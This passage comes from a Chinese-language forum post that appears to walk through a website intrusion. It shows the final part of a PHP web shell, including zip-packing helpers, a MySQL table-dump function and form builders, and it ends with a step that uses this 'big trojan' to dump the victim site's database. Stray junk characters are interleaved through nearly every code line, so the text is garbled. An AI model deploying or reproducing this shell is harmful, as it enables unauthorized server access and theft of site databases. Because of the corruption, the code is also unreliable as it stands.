    " G& w/ E0 V" H  i6 x/ e( k) x
  1692.                 if (is_dir($dir)) {
    7 T2 k" \; |0 ?: ?& e1 M
  1693.                         if ($dh = opendir($dir)) {
    0 u/ _8 ?9 r* j5 R* x
  1694.                                 while ($file = readdir($dh)) {
    - W9 c; H. N# d8 X1 c: J* f
  1695.                                         if($file!='.' && $file!='..'){1 I5 n- T2 v5 ^1 @! ~
  1696.                                                 $f=$dir .'/'. $file;& O: e4 c2 Y  q% @3 H+ v# ?5 R
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);
    $ g6 U7 ^- Q$ S/ q8 k2 S
  1698.                                                 $a[]=$f;, f/ I7 x* U; S, E( A
  1699.                                         }( d( [/ _% Z  H- y  @2 D5 K
  1700.                                 }# `6 z" E1 r6 ~# j" D+ n
  1701.                                 closedir($dh);
    - j* p) ]. B* g
  1702.                         }; A0 m7 I1 R" n
  1703.                 }# P& M+ B$ d( p
  1704.                 return $a;$ R5 ^9 z) W* W: c
  1705.         }
    , [, U4 P1 |$ C) Y! @
  1706. / M$ @, X( z7 |" u
  1707.         var $datasec      = array();* L' Z0 `" p" ?- r; }4 V% ?- w* Y  w7 [
  1708.         var $ctrl_dir     = array();6 I: z& O9 a& f7 L7 R4 l
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";- |5 `/ U, o4 h$ p; J
  1710.         var $old_offset   = 0;
    & C; s, A8 |& W; ^# v; [$ }: f

  1711. ) X3 J; Z( z4 K9 a$ h
  1712.         function unix2DosTime($unixtime = 0) {) x' J3 X+ a) h3 h. p. [
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);9 r. N. P% [9 j1 q0 j! f7 c
  1714.                 if ($timearray['year'] < 1980) {; s* l: @7 z! K: f6 ?! v% o+ K
  1715.                         $timearray['year']    = 1980;
    " N5 d/ g8 A) X3 ?0 W
  1716.                         $timearray['mon']     = 1;
    # b% z& D9 r% b5 p, M. w
  1717.                         $timearray['mday']    = 1;
    , N$ C/ A1 A3 i! X; V- X4 Q
  1718.                         $timearray['hours']   = 0;
    0 ?( l- N- i3 k
  1719.                         $timearray['minutes'] = 0;
    ' r5 K" @+ c, J5 S
  1720.                         $timearray['seconds'] = 0;
    8 w" O3 L  o4 t6 I6 L
  1721.                 } // end if( ~7 i1 ~4 \$ Z& J4 }
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |3 g: R' Y1 t4 i
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);. j8 k' j/ R3 w1 y1 n6 B
  1724.         }
    + C' @' C/ X6 H3 p% R- ]9 n: ]
  1725.         function addFile($data, $name, $time = 0) {
    $ U% i$ T! o0 |- B6 C
  1726.                 $name = str_replace('\\', '/', $name);
    6 ]( g$ r, K8 w8 \$ M! W
  1727.                 $dtime = dechex($this->unix2DosTime($time));# b# }( h2 n; _* Z, g
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]8 }) D, z7 W) h* B3 P/ w+ W
  1729.                                         . '\x' . $dtime[4] . $dtime[5]1 Q# l$ V1 y/ B5 {7 z; o
  1730.                                         . '\x' . $dtime[2] . $dtime[3]  w8 U2 w8 ~( [# ~7 \
  1731.                                         . '\x' . $dtime[0] . $dtime[1];
    5 Z! L# A9 K5 O2 H( w
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');6 W  M' w' S& e
  1733.                 $fr        = "\x50\x4b\x03\x04";
    . y' @3 X* G: n0 R
  1734.                 $fr        .= "\x14\x00";! g0 e* C9 C( t5 {8 X- w6 y0 H
  1735.                 $fr        .= "\x00\x00";( O( Y& K) S% l, f; H5 R! Z  H
  1736.                 $fr        .= "\x08\x00";2 O3 k- n, i' Q* w2 P
  1737.                 $fr        .= $hexdtime;% h1 {) I+ _; y6 |
  1738.                 $unc_len = strlen($data);
    1 U4 V' o) c- E- @. ~
  1739.                 $crc = crc32($data);% E# |5 g& K  i7 f! _
  1740.                 $zdata = gzcompress($data);
      L# k) `6 c$ f
  1741.                 $c_len = strlen($zdata);
    # @" D" o% L  b2 z7 ?3 }
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);* x7 a! ^1 R6 T& o: E7 t# {
  1743.                 $fr .= pack('V', $crc);8 X7 w: d. @3 M, T* ~( A* e# @: J
  1744.                 $fr .= pack('V', $c_len);* e+ ~4 M+ @; T. O6 P4 ^/ {4 y8 Q
  1745.                 $fr .= pack('V', $unc_len);
    4 [2 S* ]4 g3 D4 P0 b5 g7 M
  1746.                 $fr .= pack('v', strlen($name));2 V. u5 n- |2 E$ o+ c
  1747.                 $fr .= pack('v', 0);
    ) L# g2 D3 q: K( d4 Y( N
  1748.                 $fr .= $name;0 C. X  f# K0 f  b+ M; A+ _
  1749.                 $fr .= $zdata;
    ! m) L. b( J( F% Z  f9 `
  1750.                 $fr .= pack('V', $crc);! h+ u$ i8 \  E: I& }3 D& ^5 c5 C
  1751.                 $fr .= pack('V', $c_len);
    ) w; t4 Z' |# K7 |% S2 P# R
  1752.                 $fr .= pack('V', $unc_len);# R! |& \$ n# i( C
  1753.                 $this -> datasec[] = $fr;3 j$ [! p% T1 O3 s
  1754.                 $new_offset = strlen(implode('', $this->datasec));  }- ]8 r( w% F8 U8 W
  1755.                 $cdrec = "\x50\x4b\x01\x02";$ c6 P/ B+ M0 @
  1756.                 $cdrec .= "\x00\x00";% r* b, G: B" x. ?/ H" O
  1757.                 $cdrec .= "\x14\x00";$ K$ A7 \0 R- q  e. j
  1758.                 $cdrec .= "\x00\x00";6 l6 j+ o4 L4 ]5 d0 e/ b, M  [
  1759.                 $cdrec .= "\x08\x00";, N. M- M: _, F+ n8 }0 D' b
  1760.                 $cdrec .= $hexdtime;% S( x: U9 V) r6 ^" b2 u
  1761.                 $cdrec .= pack('V', $crc);
    * \# h4 h4 J% M- G0 G8 G: X. Z
  1762.                 $cdrec .= pack('V', $c_len);
    " v9 L: F& W. w6 \3 g/ ~7 E/ R
  1763.                 $cdrec .= pack('V', $unc_len);
    & J$ m% c- _" R
  1764.                 $cdrec .= pack('v', strlen($name) );0 z, H$ V2 i" ?/ G  T5 v
  1765.                 $cdrec .= pack('v', 0 );
    8 a( F& T0 i: C2 Z  k$ Y$ _
  1766.                 $cdrec .= pack('v', 0 );% [& Q( t+ ^( g. w  k
  1767.                 $cdrec .= pack('v', 0 );
    8 ]& o! ]8 ]$ O" y1 S2 l
  1768.                 $cdrec .= pack('v', 0 );( D; V7 O( o9 M& K- `4 g) E
  1769.                 $cdrec .= pack('V', 32 );
    ! s0 G; o2 y: T: o1 S
  1770.                 $cdrec .= pack('V', $this -> old_offset );' G6 z% D. {! U
  1771.                 $this -> old_offset = $new_offset;" ]1 N$ ~; N% T' z
  1772.                 $cdrec .= $name;
      h" O8 Q7 z3 s3 y
  1773.                 $this -> ctrl_dir[] = $cdrec;( K2 b8 Q# r" w
  1774.         }
      v/ Z" j8 D6 K+ s' R
  1775.         function file() {6 r1 b% H- W5 S$ d0 [. s: K
  1776.                 $data    = implode('', $this -> datasec);
    - F, u9 g7 F8 [" O% S1 P. y6 K
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);
    - A) a% R( k! B- s/ V, {7 O7 s
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";2 G- |7 x! _) M+ {) x  M2 [; ^  Y
  1779.         }4 l4 ]( g# \- r
  1780. }
    , ^0 v* f1 s7 t8 S  @
  1781. // 备份数据库/ f; `$ I0 r% S( B, ^8 r
  1782. function sqldumptable($table, $fp=0) {
    7 C- u* Y& V& X" E9 S9 q
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    9 e6 D6 L3 [0 p5 Q* O
  1784.         $tabledump .= "CREATE TABLE $table (\n";
    $ W5 B, l0 V& A
  1785.         $firstfield=1;$ X7 D# L: J. k; O  z) O
  1786.         $fields = q("SHOW FIELDS FROM $table");
    . @( n) R5 g- \9 ?: `: L5 L0 w; Z8 i5 L
  1787.         while ($field = mysql_fetch_array($fields)) {' T0 @/ s4 t  X5 n6 B8 W
  1788.                 if (!$firstfield) {
    . [4 r% H; }4 P" K
  1789.                         $tabledump .= ",\n";
    7 ^5 K6 }0 ~, O( ?* R  K
  1790.                 } else {
    - H# a6 E/ M" d. i) y3 L! i
  1791.                         $firstfield=0;& X6 Y3 w  D1 x# d. e. p. e
  1792.                 }
    0 \9 ^' \9 F8 [8 c8 J
  1793.                 $tabledump .= "   $field[Field] $field[Type]";, \6 B* |4 Y' p) q' }7 m% O/ L
  1794.                 if (!empty($field["Default"])) {
    4 ]2 W0 k" D- H! z5 u5 r2 h$ ?
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";" z# S/ Z& N& e6 [
  1796.                 }# B( C$ v7 o7 r' U+ C
  1797.                 if ($field['Null'] != "YES") {
    6 q$ _% R/ [0 j% O& k9 j" G+ ^
  1798.                         $tabledump .= " NOT NULL";( U$ S; ]: c* B4 \# p1 v9 \# C& j
  1799.                 }
    0 ~8 U  ^( D% {6 W- O* o
  1800.                 if ($field['Extra'] != "") {1 Q1 ?, Z  k  G% v
  1801.                         $tabledump .= " $field[Extra]";; o8 n5 a- O9 I; I
  1802.                 }% X* s. u4 T5 O
  1803.         }; J, W; f( \4 [2 i
  1804.         fr($fields);
    ; A' A! w' K2 M& s! a* B
  1805.         $keys = q("SHOW KEYS FROM $table");/ }3 @1 k! _3 Q' R9 u
  1806.         while ($key = mysql_fetch_array($keys)) {
    ! `4 q7 }- x! z+ }$ ]+ b
  1807.                 $kname=$key['Key_name'];
    % U1 z; y) n2 ?: ?! {( [
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {, @- k, p/ Z5 P2 \8 R. e
  1809.                         $kname="UNIQUE|$kname";
    3 \: c% }3 v- d, Q, Y& O% e
  1810.                 }  H4 c+ `, O& l5 e9 }; M" F8 f
  1811.                 if(!is_array($index[$kname])) {
    * x0 J$ T3 t! [) H( {
  1812.                         $index[$kname] = array();
    / U+ y) }' N8 l. _) J
  1813.                 }; G0 q* k% s3 g  M9 j
  1814.                 $index[$kname][] = $key['Column_name'];1 B' \) n' U2 \1 [$ v
  1815.         }8 G; U. {. \4 O  }
  1816.         fr($keys);
    " T% `+ h/ F* n  a- v
  1817.         while(list($kname, $columns) = @each($index)) {7 |1 g" c% [2 T
  1818.                 $tabledump .= ",\n";: U$ D  g/ Z5 W$ w( B& ]5 @
  1819.                 $colnames=implode($columns,",");
    # y7 F+ c" P. z. S% n
  1820.                 if ($kname == "PRIMARY") {
    5 l* |. X' {6 Y( b: \, M
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
    4 b9 h3 {# w" H$ e- Z
  1822.                 } else {
    - z1 n; }# X: H+ P
  1823.                         if (substr($kname,0,6) == "UNIQUE") {) v: y5 A- H' d" h
  1824.                                 $kname=substr($kname,7);" J) t$ N2 t8 t1 ~( b
  1825.                         }
    ' _! F- B! L( X$ [5 P
  1826.                         $tabledump .= "   KEY $kname ($colnames)";  t2 e" d: c+ |2 r/ f+ O) V2 B7 g: U
  1827.                 }5 f: W* X+ V0 S+ s
  1828.         }
    0 V- N6 g* t; q) Q) K0 i5 s
  1829.         $tabledump .= "\n);\n\n";3 H& J* f1 @9 u( f/ G6 X: |
  1830.         if ($fp) {
      Y" j) y0 ^! v* V0 G/ G5 j
  1831.                 fwrite($fp,$tabledump);
    , k% ]/ m+ x' D0 X! T
  1832.         } else {( H: y' F9 k/ `! U8 G/ S
  1833.                 echo $tabledump;
    , f; r; ^4 Y7 x8 @) m
  1834.         }
    ; U8 j6 E& f# v. u7 ]. a* B
  1835.         $rows = q("SELECT * FROM $table");7 g" B8 Y3 F2 e/ P) q
  1836.         $numfields = mysql_num_fields($rows);
    * P1 ^+ g, n3 u6 F4 D- Z
  1837.         while ($row = mysql_fetch_array($rows)) {; C3 l4 @& N3 r* Z* t' f+ E$ H) z
  1838.                 $tabledump = "INSERT INTO $table VALUES(";
    5 Q7 q4 ^6 j( [( U# j% Y
  1839.                 $fieldcounter=-1;1 u6 |" `) K: ?2 r
  1840.                 $firstfield=1;
    ! m* @4 w6 B! v$ e
  1841.                 while (++$fieldcounter<$numfields) {
    ; ?; G1 Y5 B2 M& c, E
  1842.                         if (!$firstfield) {4 y7 l6 F* J+ B# z, h
  1843.                                 $tabledump.=", ";3 G, N1 u4 N$ r- O
  1844.                         } else {
    7 G& b& d9 K, e
  1845.                                 $firstfield=0;& x& {9 ^, j! _# F7 a  u
  1846.                         }3 K- X8 e( s' P! p1 e; ~" I6 k) Y
  1847.                         if (!isset($row[$fieldcounter])) {
    ( d( @  C! i3 E8 Z' q
  1848.                                 $tabledump .= "NULL";
    8 w. T# Y% c  z, L: g) r1 `$ W
  1849.                         } else {
    1 H% w" F6 t+ a: J/ a8 E
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";# k" D0 A8 c5 c) R7 A/ D8 P
  1851.                         }
    4 L9 A' s! |0 e  H% ~8 l1 ~6 d( d
  1852.                 }
      k  v4 W5 K1 J1 B) p8 {# z+ U
  1853.                 $tabledump .= ");\n";0 R- P3 k9 N; v6 s9 j
  1854.                 if ($fp) {
    # f$ i0 B- j" l6 Q
  1855.                         fwrite($fp,$tabledump);- I# c& w* {0 l' v! z
  1856.                 } else {# T4 ?9 ]+ C; I' w8 I4 h
  1857.                         echo $tabledump;3 Q: E+ d+ u' d3 D
  1858.                 }- `+ ^( J/ ~9 d. [  Y2 t1 T6 {- \, e- K
  1859.         }, c$ `1 d; C8 D4 f8 K) B. q
  1860.         fr($rows);! v  i7 W+ P* f- R& x  |
  1861.         if ($fp) {
    4 d! I' b5 f7 ?" `" \) n$ W' s' j
  1862.                 fwrite($fp,"\n");9 U. t( a5 ~4 I2 t5 F% X
  1863.         } else {6 |. ?6 D" S# |; `
  1864.                 echo "\n";. A% r7 ]) Q% Z" ]% B, X; t
  1865.         }
    4 r1 r) h, [9 E7 N8 w; b
  1866. }- a: |! a$ r1 t5 |9 v- v
  1867. function ue($str){2 L8 b. f, }* b) K
  1868.         return urlencode($str);2 A/ y% l9 O! P( s3 s, t: _4 p
  1869. }% [5 Y, E7 \0 Y) v* O( U, z
  1870. function p($str){
    - e9 x, Y* Y. n4 q# e
  1871.         echo $str."\n";) [) Z! a+ K6 L  ~
  1872. }' ~3 i$ z* A' x8 X6 ?0 u
  1873. function tbhead() {* \! Y9 x& Q( j$ q8 W' \
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');+ C- {0 J! L5 E4 z
  1875. }  u  Q- Q* N/ M
  1876. function tbfoot(){
    & j+ C) x* r, z) i
  1877.         p('</table>');
      J1 e$ `( g% n: [% I% t
  1878. }8 R1 }# t  U$ Z: U( W( r' f
  1879. function makehide($name,$value=''){1 q. `8 m5 i% l+ w8 _) x7 W
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    ) L: }$ v1 @4 d" M% y8 o
  1881. }/ K" B: s) v! u( P
  1882. function makeinput($arg = array()){5 _. \! _2 y5 [5 d! q% V
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
    6 Y  E% J4 Z* A" t% ~3 H5 P2 ]
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';9 O; r+ ^( L4 L( G3 j3 b
  1885.         !$arg['type'] && $arg['type'] = 'text';; a$ y5 _* c+ ]5 H6 ^/ i6 ^
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';: s2 t; i5 X$ Y, d/ \
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';) t$ c5 D* y1 z( H; ]
  1888.         if ($arg['newline']) {
    4 j0 w( G' h9 P; @  e; t' T+ H# I
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
    6 \1 I# o% f! j, p: G2 i/ {  q" L
  1890.         } else {
    . {; e+ z2 `. I# n0 Q8 J+ V
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
    & Q/ p( z4 p: d0 D1 u' r
  1892.         }+ ?, w7 _: k: r
  1893. }% I" {; h$ m$ x8 ~6 h5 y& M& l+ {
  1894. function makeselect($arg = array()){, }0 O5 ^; b" u* @
  1895.         if ($arg['onchange']) {! n0 w2 U; R& h% Y/ p4 u6 p
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';  H0 F' R& m2 R4 m% f
  1897.         }
    ) D) z# p+ A. T) O
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    , @% C% w9 O, f
  1899.         if ($arg['newline']) p('<p>');/ a0 l0 I( B% F) D
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
    - d  o7 V: f6 ?+ C
  1901.                 if (is_array($arg['option'])) {
    # U- ~  Q5 r0 t- ?
  1902.                         foreach ($arg['option'] as $key=>$value) {
    $ ]' Z6 i! X% d( I1 \
  1903.                                 if ($arg['selected']==$key) {* u0 `& ]7 O( H( G
  1904.                                         p("<option value="$key" selected>$value</option>");
    2 l* f) k* L% p
  1905.                                 } else {
    8 S- t% C, Z) K. k5 f
  1906.                                         p("<option value="$key">$value</option>");
    7 |. R: F3 Q. m/ \
  1907.                                 }
    / {5 j0 J9 @9 |& p1 h
  1908.                         }
    2 Z. v( x* }* N- V
  1909.                 }6 P+ r* }6 h, M5 s$ n& v( q2 W2 C
  1910.         p("</select>");
    6 f% R: W9 `$ G, s/ S- q
  1911.         if ($arg['newline']) p('</p>');
    ) {( G# q7 l- X0 ~) e
  1912. }
    * U) K: }  I5 x4 ?5 D" f/ f# ~, J
  1913. function formhead($arg = array()) {! X8 z$ i6 E  o
  1914.         !$arg['method'] && $arg['method'] = 'post';
    + e. `6 e1 ^& {+ y8 L' v2 |
  1915.         !$arg['action'] && $arg['action'] = $self;2 ^7 b4 u+ g: x- N
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
    - D& |+ S/ Y" n3 }0 C% q6 W
  1917.         !$arg['name'] && $arg['name'] = 'form1';
    * q& P8 A, W2 Y# d
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
    3 V7 d- L0 s% ^; X# e) i
  1919.         if ($arg['title']) {
    % S& o+ ?0 t0 @5 W% C1 \9 C9 h
  1920.                 p('<h2>'.$arg['title'].' »</h2>');
    9 q; \1 s4 [" ^2 {, s
  1921.         }
    + G: [: \; x9 l4 Z/ p: j
  1922. }, ^9 T% f! n( {7 h7 R2 s: h; {
  1923.         . x& C8 p% a* f# y1 K. Z
  1924. function maketext($arg = array()){
    # [  g3 B  Y- I4 h1 p( a3 H
  1925.         !$arg['cols'] && $arg['cols'] = 100;
    . T- v- x" X! p. M  s
  1926.         !$arg['rows'] && $arg['rows'] = 25;; D1 ^8 t/ b* c% R3 l
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    0 D9 Y6 w/ J7 c/ V$ b
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");+ I" x. E1 A2 U# O6 @& i0 T
  1929. }9 ^5 J. h2 O5 y% u
  1930. 2 O5 y/ _( p/ I; P8 e
  1931. function formfooter($name = ''){  ^* c3 z4 q8 ~& G! h4 Z
  1932.         !$name && $name = 'submit';
    & C% b8 S' W7 L2 o2 I  }) ~/ q
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');+ R$ Q7 V% M& C: V+ O0 i7 W8 f
  1934.         p('</form>');& Y$ I) ]2 j9 P) k  b8 y4 Y
  1935. }8 A* s! y- P3 `( `8 c
  1936. ) u  p6 x# [+ }0 i2 Q4 T
  1937. function formfoot(){( P. b( s" T9 b8 d* o
  1938.         p('</form>');$ F$ V3 d# r7 ~, ?9 U! I* v- @
  1939. }9 p$ k1 b' K5 N" }
  1940. + F; J/ Y1 j5 ^' Q& F
  1941. // 调试函数% Z1 X' f5 }. }( @5 P
  1942. function pr($a) {
    5 [1 N# j6 U& A( B
  1943.         echo '<pre>';1 g& U) _1 ?) b8 E8 `, R9 }( m- Y
  1944.         print_r($a);# i1 n1 O1 A/ w. p; ?/ ?% }
  1945.         echo '</pre>';5 b' R! c7 _3 C# N/ j
  1946. }) q" z  e2 E* Y, N. `5 k! }/ N+ D  M9 ^4 \
  1947. - E0 L( [6 ^! f- {3 l+ ?. z
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库% c3 g  O/ M  _+ l" f! w9 [4 h) U

% t9 I/ E+ f# S: r+ g% w
  j1 A6 d% r' _- H
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-5-6 08:39 AM , Processed in 0.079513 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表